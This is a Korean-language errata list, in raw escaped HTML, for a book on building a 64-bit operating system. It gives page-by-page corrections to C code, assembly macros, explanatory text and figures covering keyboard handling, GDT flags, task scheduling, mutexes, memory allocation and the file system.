&lt;p&gt;&lt;b&gt;*. 343 Page 아래쪽&lt;/b&gt;과 &lt;b&gt;359 Page 가운데&lt;/b&gt; 부분&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin: 0pt 0pt 0pt 40px; border: medium none; padding: 0px;&quot;&gt;&lt;p&gt;void UpdateCombinationKeyStatusAndLED( BYTE bScanCode )&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; BOOL bDown;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; BYTE bDownScanCode;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; BOOL bLEDStatusChanged = FALSE;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; // 눌림 또는 떨어짐 상태처리, 최상위 비트(비트 7)가 1이면 키가 떨어졌음을 의미하고&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &lt;b&gt;// 0이면 눌림을 의미함&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; if( bScanCode &amp;amp; 0x80 )&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; {&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; bDown = FALSE;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; bDownScanCode = bScanCode &amp;amp; 0x7F;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; }&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; else&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; {&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; bDown = TRUE;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; bDownScanCode = bScanCode;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; }&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;/blockquote&gt;&lt;b&gt;*.&amp;nbsp;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;b&gt;p.363 페이지&lt;/b&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;nbsp;(02.Kernel64/Source/Keyboard.h)의 Down을 On으로 변경&lt;/span&gt;&lt;/span&gt;&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin: 0pt 0pt 0pt 40px; border: medium none; padding: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
// 키보드의 상태를 관리하는 자료구조&lt;/div&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
typedef struct kKeyboardManagerStruct&lt;/div&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
{&lt;/div&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
&amp;nbsp; &amp;nbsp; // 조합 키 정보&lt;/div&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
&amp;nbsp; &amp;nbsp; BOOL bShiftDown;&lt;/div&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; BOOL bCapsLockOn;&lt;/b&gt;&lt;/div&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; BOOL bNumLockOn;&lt;/b&gt;&lt;/div&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; BOOL bScrollLockOn;&lt;/b&gt;&lt;/div&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
&amp;nbsp; &amp;nbsp; // 확장 키를 처리하기 위한 정보&lt;/div&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
&amp;nbsp; &amp;nbsp; BOOL bExtendedCodeIn;&lt;/div&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
&amp;nbsp; &amp;nbsp; int iSkipCountForPause;&lt;/div&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px; &quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
} KEYBOARDMANAGER;&lt;/div&gt;
&lt;/span&gt;&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;*. 365 Page, 아래에서 12번째 줄&lt;/span&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin: 0 0 0 40px; border: none; padding: 0px;&quot;&gt;&lt;p&gt;BOOL kIsUseCombinedCode( &lt;span style=&quot;font-weight: bold;&quot;&gt;BYTE &lt;/span&gt;bScanCode );&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;*. 365 Page, 아래에서 17번째줄 변수 선언 부분 굵게 처리&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;void Main( void )&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;{&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;font-weight: bold;&quot;&gt;char vcTemp[ 2 ] = {0, };&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;font-weight: bold;&quot;&gt;BYTE bFlags;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;font-weight: bold;&quot;&gt;BYTE bTemp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;font-weight: bold;&quot;&gt;int i = 0;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ... 생략 ...&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 383 Page의 [그림 12-7]에서 16~31 비트의 값(크기를 기준 주소로 수정)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;&lt;img rel=&quot;xe_gallery&quot; src=&quot;http://jsandroidapp.cafe24.com/xe/files/attach/images/115/517/%EA%B7%B8%EB%A6%BC%2012-7.PNG&quot; alt=&quot;그림 12-7.PNG&quot; title=&quot;그림 12-7.PNG&quot; class=&quot;iePngFix&quot; style=&quot;&quot; height=&quot;424&quot; width=&quot;577&quot;&gt;
&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;*. 386 Page, 위에서 21번째 줄 30번째 줄&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;#define GDT_FLAGS_LOWER_TSS ( &lt;span style=&quot;font-weight: bold;&quot;&gt;GDT_FLAGS_LOWER_DPL0 | GDT_FLAGS_LOWER_P&lt;/span&gt; )&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;#define GDT_FLAGS_UPPER_TSS ( &lt;span style=&quot;font-weight: bold;&quot;&gt;GDT_FLAGS_UPPER_G &lt;/span&gt;)&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;*. 428 Page 아래에서 18번째 줄, 436 Page 아래에서 3번째 줄, 600 Page 아래에서 9번째 줄,&lt;/span&gt;&lt;b&gt; 606 Page 위에서 7번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;%macro KLOADCONTEXT 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; 파라미터를 전달받지 않는&lt;b&gt; KLOADCONTEXT&lt;/b&gt; 매크로 정의&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;span style=&quot;font-weight: bold; &quot;&gt;*. 483 Page, 위에서 10번째 줄, 굵게 표시&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;// 키를 저장하는 큐와 버퍼 정의&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;static QUEUE gs_stKeyQueue;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;static KEYDATA gs_vsKeyQueueBuffer[ KEY_MAXQUEUECOUNT ];&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 492 Page&lt;/b&gt;의 위쪽&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;사실 &lt;b&gt;14장&lt;/b&gt;은 앞 장과 비교해서 변한 것이 거의 없습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 498 Page&lt;/b&gt;의 &quot;GCC 헤더 파일에 정의된 가변 인자 매크로와 리스트&quot;의 위쪽 문단&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;각 매크로와 데이터 타입이 어떻게 정의되어 있는지&amp;nbsp;&lt;b&gt;코드를 직접 확인해 보겠습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 609 Page, 첫 번째 줄&amp;nbsp; 굵게 표시&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&lt;b&gt;{ &quot;createtask&quot;, &quot;Create Task&quot;, kCreateTestTask },&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;b&gt;*. 620 Page&lt;/b&gt;의 [그림 18-3]&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;&lt;img rel=&quot;xe_gallery&quot; src=&quot;http://jsandroidapp.cafe24.com/xe/files/attach/images/115/517/%EA%B7%B8%EB%A6%BC%2018-3.png&quot; alt=&quot;그림 18-3.png&quot; title=&quot;그림 18-3.png&quot; class=&quot;iePngFix&quot; style=&quot;&quot; height=&quot;630&quot; width=&quot;596&quot;&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 627 Page, &quot;TCB 할당 및 해제 함수의 코드&quot;에서 위로 2번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;font class=&quot;Apple-style-span&quot; color=&quot;#555555&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	다음은 앞서 설명한 내용에 따라 구현한 TCB 할당 및 해제 함수의 코드입니다. ID를 처리하는 부분을 제외하고는 평이한 코드이므로&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font class=&quot;Apple-style-span&quot; color=&quot;#555555&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; 이해하는데 큰 어려움이 없을 것입니다. &lt;b&gt;TCB 자료구조에 추가된 stLink 필드는 18.2.4절에서 살펴보겠습니다&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font class=&quot;Apple-style-span&quot; color=&quot;#555555&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 660 Page&lt;/b&gt;의 위에서 4째줄&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;콘솔 화면의 주변을 돌면서 문자를 출력하는 태스크와 &lt;b&gt;자신의 ID에&lt;/b&gt; 해당하는 위치에 바람개비를 출력하는 태스크를 작성했습니다.&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 741 Page 위에서 7 번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;태스크의 수를 제한하려면 임계 영역 진입 여부를 나타내는 &lt;b&gt;플래그와 잠금 횟수를 나타내는 카운터&lt;/b&gt;, 그리고 임계 영역에 진입한 태스크의 ID만 있으면 처리할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 742 Page 아래에서 8번째 라인&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;만약 잠근 태스크가 해제를 &lt;b&gt;요청하는 것이고 잠긴 횟수가&lt;/b&gt; 2 이상이면 중복으로 잠긴 것이므로 횟수만 1 감소시키고 실제로 해제하는 작업은 수행하지 않습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 751 Page 그림 [20-4]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;&lt;img rel=&quot;xe_gallery&quot; src=&quot;http://jsandroidapp.cafe24.com/xe/files/attach/images/115/517/%5B%EA%B7%B8%EB%A6%BC%2020-4%5D.PNG&quot; alt=&quot;[그림 20-4].PNG&quot; title=&quot;[그림 20-4].PNG&quot; class=&quot;iePngFix&quot; style=&quot;&quot; height=&quot;465&quot; width=&quot;521&quot;&gt;
&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 769 Page 맨 윗 라인&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;콘솔 셸 파일에는 태스크를 &lt;b&gt;생성하고 종료하는&lt;/b&gt; 태스트 때문에 killtask 커맨드의 기능이 수정되고 동기화 기능을 테스트하는 testmutex 커맨드가 추가되었습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 791 Page의 밑에서 셋째줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;하지만 멀티코어 프로세서 환경일 경우 &lt;b&gt;자식 스레드는 다른&lt;/b&gt; 코어에서 실행될 수 있으며, 이런 경우 태스크를 즉시 대기 리스트로 옮길 수 없습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 815 Page의 밑에서 8째줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;[그림 21-4]의 위를 보면 콘솔 셸(태스크 ID: 0x100000000)과 유휴 태스크(태스크 ID: 0x200000001)의 태스크 플래그를 보면 최상위 바이트가 각기 0x60과 &lt;b&gt;0x58로&lt;/b&gt; 시작하는 것을 볼 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 825 Page [그림 22-2]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;&lt;img rel=&quot;xe_gallery&quot; src=&quot;http://jsandroidapp.cafe24.com/xe/files/attach/images/115/517/%5B%EA%B7%B8%EB%A6%BC%2022-2%5D.PNG&quot; alt=&quot;[그림 22-2].PNG&quot; title=&quot;[그림 22-2].PNG&quot; class=&quot;iePngFix&quot; style=&quot;&quot; height=&quot;556&quot; width=&quot;551&quot;&gt;
&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;* 843 Page, 밑에서 10 째줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;또 FPU 예외 처리가 끝나면 다시 0으로 설정해서 같은 태스크가 &lt;b&gt;FPU를&lt;/b&gt; 사용할 때 예외가 발생하지 않도록 해야 합니다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;* 876 Page, 밑에서 두번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;1KB 블록 2개를 생성한 후 1KB 블록 하나를 할당해주면 남은 블록은 [그림 23-3]과 같이 &lt;b&gt;1KB 블록 1개&lt;/b&gt;, 2KB 블록 1개, 4KB 블록 1개가 됩니다.&lt;/p&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;* 879 Page, 위에서 3번째 줄 그림 제목&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;[그림 23-6] 블록 크기에 맞지 않는 메모리를 할당받았을 때 할당된 메모리의 구조&lt;b&gt;(4.3MB 할당)&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;p&gt;&lt;b&gt;* 933 Page 위에서 7 째줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;하지만, LBA 어드레스 모드일 때는 레지스터가 LBA 어드레스로 통합되어 섹터 번호 레지스터는 LBA 어드레스의 0비트~7비트, 실린더 LSB 레지스터는 &lt;b&gt;8비트~15비트&lt;/b&gt;, 실린더 MSB 레지스터는 16비트~23비트, 드라이브/헤드 레지스터의 헤드 필드는 24비트~27비트를 저장합니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;* 1049 Page, 위에서 6번째 줄 자료구조에서 아래의 굵게된 부분 추가&lt;/p&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
typedef struct kFileHandleStruct&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
{&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
&amp;nbsp; &amp;nbsp; // 파일이 존재하는 디렉터리 엔트리의 오프셋&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
&amp;nbsp; &amp;nbsp; int iDirectoryEntryOffset;&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
&amp;nbsp; &amp;nbsp; // 파일 크기&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
&amp;nbsp; &amp;nbsp; DWORD dwFileSize;&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
&amp;nbsp; &amp;nbsp; // 파일의 시작 클러스터 인덱스&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
&amp;nbsp; &amp;nbsp; DWORD dwStartClusterIndex;&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
&amp;nbsp; &amp;nbsp; // 현재 I/O가 수행중인 클러스터의 인덱스&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
&amp;nbsp; &amp;nbsp; DWORD dwCurrentClusterIndex;&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
&amp;nbsp; &amp;nbsp; &lt;b&gt;// 현재 클러스터의 바로 이전 클러스터의 인덱스&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; DWORD dwPreviousClusterIndex;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
&amp;nbsp; &amp;nbsp; // 파일 포인터의 현재 위치&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
&amp;nbsp; &amp;nbsp; DWORD dwCurrentOffset;&lt;/div&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
} FILEHANDLE;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;* 1120 Page 위에서 6 째줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;// 파일 이름 삽입&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;kMemCpy( vcBuffer, pstentry-&amp;gt;d_name, kStrLen( pstEntry-&amp;gt;&lt;b&gt;d_name &lt;/b&gt;) );&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;* 1161 Page, [그림 27-5]의 가장 마지막 부분&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;img rel=&quot;xe_gallery&quot; src=&quot;http://jsandroidapp.cafe24.com/xe/files/attach/images/115/517/%5B%EA%B7%B8%EB%A6%BC%2027-5%5D.PNG&quot; alt=&quot;[그림 27-5].PNG&quot; title=&quot;[그림 27-5].PNG&quot; class=&quot;iePngFix&quot; style=&quot;&quot; height=&quot;537&quot; width=&quot;528&quot;&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 1174 Page, 위에서 11 번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;iRealReadCount = MIN( gs_stRDDManager.dwTotalSectorCount -&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;dwLBA&lt;/span&gt;, iSectorCount );&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 1174 Page, 밑에서 9 번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;iRealWriteCount = MIN( gs_stRDDManager.dwTotalSectorCount -&lt;/p&gt;
